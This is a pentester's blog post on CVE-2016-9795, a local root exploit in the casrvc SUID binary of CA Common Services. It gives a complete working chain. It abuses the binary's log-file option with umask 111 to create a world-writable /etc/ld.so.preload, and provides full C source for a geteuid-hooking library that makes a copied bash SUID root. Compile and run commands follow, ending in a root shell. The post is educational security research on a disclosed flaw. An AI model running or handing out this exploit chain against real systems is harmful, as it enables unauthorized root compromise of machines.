
Revisited CVE-2016-9795 privilege escalation (casrvc binary from CA Common Services suite)
In one of my pentests, I stumbled across the casrvc SUID binary (which is part of CA Common Services suite). As I found out, the binary is vulnerable to local privilege escalation. As a matter of fact, a public CVE (CVE-2016-9795) was already attributed to this vulnerability by NCC group.
The vulnerability is really trivial and as I later found out, NCC group disclosed a Proof-Of-Concept in their PDF advisory (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Nevertheless, during my pentest engagement, I chose a different exploitation path which for starters is a viable alternative and is possibly less risky if performed correctly.
The vulnerability lies in the casrvc SUID binary which exposes a feature that allows the user to choose the filename (and absolute path) to which logs will be written. Part of this log file is controlled by user so in the end this gives the unprivileged user a more or less controlled arbitrary write.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
The already existing PoC simply concatenates the log output to the /etc/passwd file in order to add another user entry in the root group. Concatenating stuff to /etc/passwd can sometimes be risky business and in my case I wanted to avoid crashing the server at all cost.
The exploitation technique is not new and was covered by many other researchers (including @dawid_golunski, @itm4n). It applies to this binary and I talk about it here for educational purposes.
It consists of appending to or creating the /etc/ld.so.preload file. This file as described in the Linux manual man ld.so allows to define a list of libraries names (one per line) that will be loaded everytime a binary is launched.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
The specificity of this file is that the preloaded libraries are loaded for EVERY program executed on the system, including SUID programs. This is of course not the case for the "LD_PRELOAD" environment variable that can be set by any user to preload libraries in the context of their session.
In order to fully control the content of the created file, we use the umask command to set the file mode creation mask. That way when the log file is created it will have read and write permissions for everyone.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
We try to erase the content of the file pretty quickly since after executing the casrvc executable the content does not contain any valid .so libraries and it will generate error messages everytime a program is started on the computer.
In our case, the trick with umask works. Sometimes though, executables set the umask value theirselves in which case our value of umask is overwritten and ignored.
Next we create a .so file. Following is the source code for this .so file. It does three things
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
To compile it we simply
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
In the previous commands we presume that the /tmp partition is not mounted with NOEXEC nor NOSUID properties.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)